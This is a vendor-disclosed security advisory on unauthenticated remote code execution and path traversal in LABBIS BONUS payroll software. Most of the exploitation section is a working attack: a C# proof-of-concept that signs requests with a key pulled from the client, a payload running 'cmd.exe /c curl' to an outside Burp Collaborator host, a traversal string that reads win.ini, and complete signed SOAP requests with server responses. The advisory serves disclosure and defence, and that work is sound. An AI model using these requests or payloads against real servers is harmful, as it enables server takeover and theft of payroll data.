Unauthenticated Remote Code Execution and Path Traversal in LABBIS BONUS Software

General Overview

BONUS is a software solution for payroll and time management, offered to businesses by LABBIS as a part of their paid services. An insecure method call mechanism without proper authorization checks was discovered in version 1.2.29.0 of the software. This vulnerability allows unauthenticated attackers to call arbitrary methods from the LABBIS .NET assemblies. A couple of existing methods can be exploited for remote code execution and path traversal attacks. When exploited, attackers can gain complete control over the server and its data.

Vulnerability Description

A critical risk vulnerability was identified in the RunBl.asmx SOAP endpoint of the LABBIS web service. The โ€œInvokeMethodโ€ action accepts arbitrary methods that can be invoked by unauthenticated callers. While it’s possible to call public methods from the LABBIS .NET assemblies, calls to methods defined in the .NET assemblies with names starting with โ€œSystemโ€, โ€œMicrosoftโ€ or โ€œLabbis.Dataโ€ are prevented. Furthermore, SOAP requests must be signed, however, a private key that is used for request signing is static and can be trivially extracted from the LABBIS desktop client.

During a short security test, several potentially harmful methods were identified in the LABBIS .NET assemblies. Two of these methods were successfully exploited and resulted in Remote Code Execution (RCE) and Path Traversal attacks.

Remote Code Execution via โ€œEvaluate_โ€ Method

The code from โ€œLabbis.Controls.dllโ€ module, the โ€œBrowser.Import.ImportWizardFormulaโ€ class, dynamically compiles and executes C# code at runtime based on user input. This makes it vulnerable to an RCE attack. The method โ€œEvaluate_โ€ takes user input and uses it as a formula string to pass to the โ€œCreateFormulaโ€ method:
public static object Evaluate_(string formula, object[] arow)
  {
    object evalObject = ImportWizardFormula.CreateFormula(formula);
    MethodInfo methodInfo = evalObject.GetType().GetMethod("Evaluate");
    return methodInfo.Invoke(evalObject, new object[]
    {
        arow
     });
 }

The method โ€œCreateFormulaโ€ accepts a string as input. This formula string is integrated into a predefined class template by replacing the โ€œ{0}โ€ placeholder within the template. Once the โ€œ{0}โ€ placeholder is substituted with the actual formula, the resulting string represents a complete class definition. The method then compiles this class definition into executable code and creates an instance of it.

private static object CreateFormula(string formula)
  {
    CSharpCodeProvider cp = new CSharpCodeProvider();
    ICodeCompiler ic = cp.CreateCompiler();
    CompilerParameters cpar = new CompilerParameters();
    cpar.ReferencedAssemblies.Add("system.dll");
    cpar.ReferencedAssemblies.Add("system.data.dll");
    cpar.ReferencedAssemblies.Add("system.xml.dll");
    string[] spreferences = ImportWizardFormula.GetAllAssembliesPaths();
    foreach (string sreference in spreferences)
    {
       cpar.ReferencedAssemblies.Add(sreference);
    }
    cpar.GenerateInMemory = true;
    cpar.GenerateExecutable = false;
    string classSource = "\r\n//using Labbis;\r\n//using Labbis.Controls.Browser.Import;\r\nusing System;\r\nusing System.Data; \r\nusing System.Data.SqlClient; \r\nusing System.Data.OleDb; \r\nusing System.Xml;\r\nnamespace Labbis \r\n{\r\n class ComputeClass//: ComputeClassBase\r\n {\r\n public object Evaluate(string[] arow)\r\n {\r\n return {0};\r\n }\r\n }\r\n}\r\n";
    classSource = classSource.Replace("{0}", formula);
    classSource = classSource.Replace("UNIKAL", string.Format("\"{0}\"", lbUnikal.GetNewValueWithPrefix()));
    CompilerResults cr = ic.CompileAssemblyFromSource(cpar, classSource);
    bool flag = cr.Errors.Count > 0;
    if (flag)
    {
       throw new Exception(cr.Errors[0].ErrorText);
    }
    Type type = cr.CompiledAssembly.GetType("Labbis.ComputeClass");
    return Activator.CreateInstance(type);
  }

Path Traversal via โ€œGetReportFileโ€ Method

The โ€œGetReportFileโ€ method of the โ€œEntities.EntityFactoryโ€ class, which can be found in the “Labbis.Modules.dll” module, is designed to retrieve a report file based on a provided path. While the method attempts to sanitize the input path by removing specific patterns like “\..” and “//..“, this filtering is insufficient. An attacker can bypass this rudimentary sanitization using the character sequence โ€œ\\….โ€. By leveraging this approach, the attacker can traverse directories and access files outside the intended path, exposing the system to path traversal vulnerabilities.

public static byte[] GetReportFile(string ReportPath)
    {
        ReportPath = ReportPath.Replace("\\..", string.Empty);
        ReportPath = ReportPath.Replace("//..", string.Empty);
        string CodeBase = typeof(EntityFactory).Assembly.CodeBase;
        bool flag = string.IsNullOrEmpty(CodeBase);
          byte[] result;
          if (flag)
          {
                result = null;
          }
          else
          {
                CodeBase = new Uri(CodeBase).AbsolutePath;
                CodeBase = Path.GetDirectoryName(CodeBase);
                string[] ReportBase = new string[]
                {
                      Path.Combine(Path.GetDirectoryName(CodeBase), "ReportsCustom"),
                      Path.Combine(Path.GetDirectoryName(CodeBase), "Reports"),
                      CodeBase
                };
                foreach (string rb in ReportBase)
                {
                      string ReportFile = Path.Combine(rb, ReportPath);
                      bool flag2 = File.Exists(ReportFile);
                      if (flag2)
                      {
                               return File.ReadAllBytes(ReportFile);
                      }
                }
                result = null;
           }
       return result;
   }

Vulnerability Exploitation

The following example illustrates a SOAP request that is expected by the LABBIS web service. Request parameters are self-explanatory, except for the โ€œbytesโ€ parameter, which takes a serialized array of objects encoded as a Base64 string. Itโ€™s worth noting that this parameter is not affected by unsafe deserialization issues in the most recent LABBIS versions.

POST /[...]/RunBl.asmx HTTP/2
Host: bonus60
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
Soapaction: "http://tempuri.org/InvokeMethod"
Content-Length: 609
User-Agent: Apache-HttpClient/4.5.5 (Java/16.0.1)

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soap:Header>
        <LabbisSoapHeader xmlns="http://tempuri.org/">
            <RequestId>{Request Id}</RequestId>
<Signature>{Generated signature}</Signature>
        </LabbisSoapHeader>
    </soap:Header>
    <soap:Body>
        <InvokeMethod xmlns="http://tempuri.org/">
            <Assembly>{Assembly name}</Assembly>
            <Class>{Class name}</Class>
            <Method>{Method name}</Method>
            <bytes>{Serialized method parameters}</bytes>
        </InvokeMethod>
    </soap:Body>
</soap:Envelope>

The request parameters โ€œRequestIdโ€, โ€œAssemblyโ€, โ€œClassโ€, โ€œMethodโ€ and โ€œbytesโ€ must be signed. In total there are two (concatenated) signatures, because a separate signature is needed for the โ€œbytesโ€ parameter. The private key that is used for signing can be extracted from the LABBIS client executable โ€œLabbis.WinUI.exeโ€ using, for example, the ILSpy .NET decompiler.

PKCS 12 archive file that contains the private key

The following proof-of-concept code was created to generate both the serialized bytes and required signatures for RCE exploitation. It can be easily adapted to exploit the Path Traversal vulnerability.

using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Runtime.Serialization.Formatters.Binary;

namespace Labbis
{
	class LabbisSignature
	{
		
		public static byte[] SerializeObject(object o)
		{
			using (MemoryStream stream = new MemoryStream())
			{
				new BinaryFormatter().Serialize(stream, o);
				return stream.ToArray();
			}
		}
		
		public static string SerializeObjectEncode(object o)
		{
			using (MemoryStream stream = new MemoryStream())
			{
				new BinaryFormatter().Serialize(stream, o);
				return Convert.ToBase64String(stream.ToArray());
			}
		}

		static string SignToBase64String(X509Certificate2 pfx, Guid requestId, string assemblyName, string className, string methodName, byte[] parameters)
		{
			string callInfo = string.Join(string.Empty, new object[]
			{
				requestId,
				assemblyName,
				className,
				methodName
			});
			string signature = LabbisSignature.SignToBase64String(pfx, callInfo);
			parameters = (parameters ?? new byte[0]);
			return signature + LabbisSignature.SignToBase64String(pfx, parameters);
		}

		static string SignToBase64String(X509Certificate2 pfx, string plainText)
		{
			byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
			return LabbisSignature.SignToBase64String(pfx, plainBytes);
		}

		static string SignToBase64String(X509Certificate2 pfx, byte[] plainBytes)
		{
			RSA pk = pfx.GetRSAPrivateKey();
			byte[] signature = pk.SignData(plainBytes, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
			return Convert.ToBase64String(signature);
		}
		
		static void Main(string[] args)
        {
			string cert = "RunBlClient1.pfx";
			var ClientCertificate = new X509Certificate2(cert);
			
			string assemblyName = "Labbis.Controls";
			string className = "Browser.Import.ImportWizardFormula";
			string methodName = "Evaluate_";
			
			//Guid requestId = Guid.NewGuid();
			Guid requestId = Guid.Parse("397513a4-58e5-4709-bbe3-485197020a2a");
			System.Console.WriteLine("\nRequestId: " + requestId.ToString());
			
			Object[] payload = new Object[2] {"System.Diagnostics.Process.Start(\"cmd.exe\",\"/c curl http://upn4d2hydams6wiekvrjdln9f0ls9lxa.oastify.com\")", null};
			byte[] parameters = SerializeObject(payload);
			System.Console.WriteLine("\nBytes: " + SerializeObjectEncode(payload));
			
			string signature = LabbisSignature.SignToBase64String(ClientCertificate, requestId, assemblyName, className, methodName, parameters);
			System.Console.WriteLine("\nSignature: " + signature);	
        }
		
	}
}
Remote Code Execution

The following payload passed to the โ€œEvaluate_โ€ method as a parameter makes an HTTP request using the โ€œcurlโ€ tool to PortSwigger’s Burp Collaborator host, where all incoming requests are logged:

System.Diagnostics.Process.Start("cmd.exe","/c curl upn4d2hydams6wiekvrjdln9f
0ls9lxa.oastify.com")

The output from the compiled proof-of-concept code gives all the necessary values needed to build a properly signed SOAP request:

RequestId: 397513a4-58e5-4709-bbe3-485197020a2a

Bytes: AAEAAAD/////AQAAAAAAAAAQAQAAAAIAAAAGAgAAAGlTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzcy5TdGFydCgiY21kLmV4ZSIsIi9jIGN1cmwgaHR0cDovL3VwbjRkMmh5ZGFtczZ3aWVrdnJqZGxuOWYwbHM5bHhhLm9hc3RpZnkuY29tIikKCw==

Signature: AdHyjFHS5/htLrQe7WffTIGWmmd42nNc5RFsK6nMioRKT92eHsJHSj95NjtR6tjBf4DDYxADO/idWr2klnQb/kRtMYNaJ5V2dLUHPYjaAUkfnl9kLqbj+LbX8msylUmFkkIXviaKDJLRoM7YPvY8gHLz7SobS8z89s3F9frPg0Q=H63B03wrU3RFjRc7zcaE4/OknD6r2A5azoREo0nhjnBdk07UqJZ/WDBuoZVzP48QY2s7YuwPCGmHB3iL9d2z3JTk/Twy0+5iyJwVy4GyK8vr00duHBGu27/Znpol2M8J2IKlp5WilrhgrJxazmSJR3+S9O+k02NbMXcYFbVkYjo=

A valid SOAP request with the Base64 encoded serialized payload:

POST /[...]/RunBl.asmx HTTP/1.1
Host: bonus60
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
Soapaction: "http://tempuri.org/InvokeMethod"
Content-Length: 1139
User-Agent: Apache-HttpClient/4.5.5 (Java/16.0.1)


<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soap:Header>
        <LabbisSoapHeader xmlns="http://tempuri.org/">
            <RequestId>397513a4-58e5-4709-bbe3-485197020a2a</RequestId>
<Signature>AdHyjFHS5/htLrQe7WffTIGWmmd42nNc5RFsK6nMioRKT92eHsJHSj95NjtR6tjBf4DDYxADO/idWr2klnQb/kRtMYNaJ5V2dLUHPYjaAUkfnl9kLqbj+LbX8msylUmFkkIXviaKDJLRoM7YPvY8gHLz7SobS8z89s3F9frPg0Q=H63B03wrU3RFjRc7zcaE4/OknD6r2A5azoREo0nhjnBdk07UqJZ/WDBuoZVzP48QY2s7YuwPCGmHB3iL9d2z3JTk/Twy0+5iyJwVy4GyK8vr00duHBGu27/Znpol2M8J2IKlp5WilrhgrJxazmSJR3+S9O+k02NbMXcYFbVkYjo=</Signature>
        </LabbisSoapHeader>
    </soap:Header>
    <soap:Body>
        <InvokeMethod xmlns="http://tempuri.org/">
            <Assembly>Labbis.Controls</Assembly>
            <Class>Browser.Import.ImportWizardFormula</Class>
            <Method>Evaluate_</Method>
            <bytes>AAEAAAD/////AQAAAAAAAAAQAQAAAAIAAAAGAgAAAGlTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzcy5TdGFydCgiY21kLmV4ZSIsIi9jIGN1cmwgaHR0cDovL3VwbjRkMmh5ZGFtczZ3aWVrdnJqZGxuOWYwbHM5bHhhLm9hc3RpZnkuY29tIikKCw==
    </bytes>
        </InvokeMethod>
    </soap:Body>
</soap:Envelope>
The response from the LABBIS web service shows that the object โ€œSystem.Diagnostics.Processโ€ was created indicating that the injected payload was executed successfully:
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Content-Length: 702

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soap:Body>
        <soap:Fault>
            <faultcode>soap:Client</faultcode>
            <faultstring>System.Web.Services.Protocols.SoapException: Type 'System.Diagnostics.Process' in Assembly 'System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' is not marked as serializable.
   at Labbis.RunBl.RunBl.InvokeMethod(String Assembly, String Class, String Method, Byte[] bytes) in C:\[โ€ฆ]\Labbis\Core\Main_4.8\Labbis.RubBl\RunBl.cs:line 247</faultstring>
            <detail />
        </soap:Fault>
    </soap:Body>
</soap:Envelope>
Furthermore, upon examining the Burp Collaborator server logs, it was evident that the โ€œcurlโ€ system command was executed, accessing the attacker-controlled resource.

โ€œCurlโ€ request from the affected system

Similarly, any command could be run remotely, potentially compromising the server and its data.

Path Traversal

To exploit the identified Path Traversal vulnerability, a similar approach can be taken. In this case, the payload utilizes the sequence โ€œ\\\\….โ€. This specific pattern is crafted to bypass rudimentary path sanitization mechanisms. By repeating the sequence, an attacker can traverse multiple directories upwards. When combined with subsequent directory or file names, it allows the attacker to access files or directories outside the intended scope, potentially leading to unauthorized file access or information disclosure.
The proof-of-concept code was updated with the following content:

string assemblyName = "Labbis.Modules";
string className = "Entities.EntityFactory";
string methodName = "GetReportFile";
			
Guid requestId = Guid.Parse("397513a4-58e5-4709-bbe3-485197020a2a");
System.Console.WriteLine("\nRequestId: " + requestId.ToString());
			
Object[] payload = new Object[1] { "..\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\windows\\win.ini" };
The updated code prints the following values:
RequestId: 397513a4-58e5-4709-bbe3-485197020a2a

Bytes: AAEAAAD/////AQAAAAAAAAAQAQAAAAEAAAAGAgAAAEkuLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcd2luZG93c1x3aW4uaW5pCw==

Signature: agNuL2EDavJeDtecb+tqf6b2gmSePZ8TJdGTpdVbZ6o2DFW8g4qNPDWvvj5WtqnCGstnB/G/joBAEaZVLdxdfuyOfRracOCgPZtWBxgoh1Q65TWmMSefyagpb8wYuNifnE3kqMHWBMavBG7aSJ9m1Sq4xxvZGFg+GFK0EEuNGt4=xjhfmQDw9jgLB0TySNDHJDKQ7rXVWdnX6HkL85gDgE8XJRpfMnAx2U1eo5vSBkITguCnlHlZC1SPVtoSPhHKFfeCEzW7uO6GsO5/NE160DvhtJ5HuCeRbl3eVKJXzQ31pY6g4bkcpzHidMxtWJKv2WcUchb+V+oXPX6VemuDo7U=

The returned values were included in the following SOAP request:

POST /[...]/RunBl.asmx HTTP/1.1
Host: bonus60
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
Soapaction: "http://tempuri.org/InvokeMethod"
Content-Length: 1086
User-Agent: Apache-HttpClient/4.5.5 (Java/16.0.1)

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soap:Header>
        <LabbisSoapHeader xmlns="http://tempuri.org/">
            <RequestId>397513a4-58e5-4709-bbe3-485197020a2a</RequestId>
<Signature> agNuL2EDavJeDtecb+tqf6b2gmSePZ8TJdGTpdVbZ6o2DFW8g4qNPDWvvj5WtqnCGstnB/G/joBAEaZVLdxdfuyOfRracOCgPZtWBxgoh1Q65TWmMSefyagpb8wYuNifnE3kqMHWBMavBG7aSJ9m1Sq4xxvZGFg+GFK0EEuNGt4=xjhfmQDw9jgLB0TySNDHJDKQ7rXVWdnX6HkL85gDgE8XJRpfMnAx2U1eo5vSBkITguCnlHlZC1SPVtoSPhHKFfeCEzW7uO6GsO5/NE160DvhtJ5HuCeRbl3eVKJXzQ31pY6g4bkcpzHidMxtWJKv2WcUchb+V+oXPX6VemuDo7U=</Signature>
        </LabbisSoapHeader>
    </soap:Header>
    <soap:Body>
        <InvokeMethod xmlns="http://tempuri.org/">
            <Assembly>Labbis.Modules</Assembly>
            <Class>Entities.EntityFactory</Class>
            <Method>GetReportFile</Method>
            <bytes>
AAEAAAD/////AQAAAAAAAAAQAQAAAAEAAAAGAgAAAEkuLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcLi4uLlxcd2luZG93c1x3aW4uaW5pCw==
    </bytes>
        </InvokeMethod>
    </soap:Body>
</soap:Envelope>
The response from the server returns Base64 encoded serialized contents of the โ€œwin.iniโ€ file:
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/xml; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
Set-Cookie: session_id=; path=/
Set-Cookie: ASP.NET_SessionId=; path=/
Content-Length: 522

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soap:Body>
        <InvokeMethodResponse xmlns="http://tempuri.org/">
<InvokeMethodResult>AAEAAAD/////AQAAAAAAAAAPAQAAAFwAAAACOyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQoL</InvokeMethodResult>
        </InvokeMethodResponse>
    </soap:Body>
</soap:Envelope>
To confirm that the contents of the win.ini file were successfully retrieved, it is sufficient to decode the returned Base64 encoded string:
;for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Conclusion

In conclusion, the LABBIS BONUS software is vulnerable to at least two critical issues. These vulnerabilities not only expose sensitive data, but also allow hackers to execute arbitrary commands on the affected server. To ensure security and reliability, software needs to be fundamentally re-evaluated and comprehensively updated. It must be ensured that all parts of the application can only be accessed by authenticated and permitted users as it is highly likely that other harmful methods exist. Without addressing the fundamental insecure unauthenticated arbitrary method calls, it remains vulnerable, putting both data and system integrity at risk.

Disclosure Timeline

  • 2023-08-17 – Contacting the vendor about the security vulnerabilities. Vendor has informed that vulnerabilities were remediated within 48 hours and a new version of the software was released.
  • 2023-09-18 – Advisory published.

About Us

ยฉ 2023 Critical Security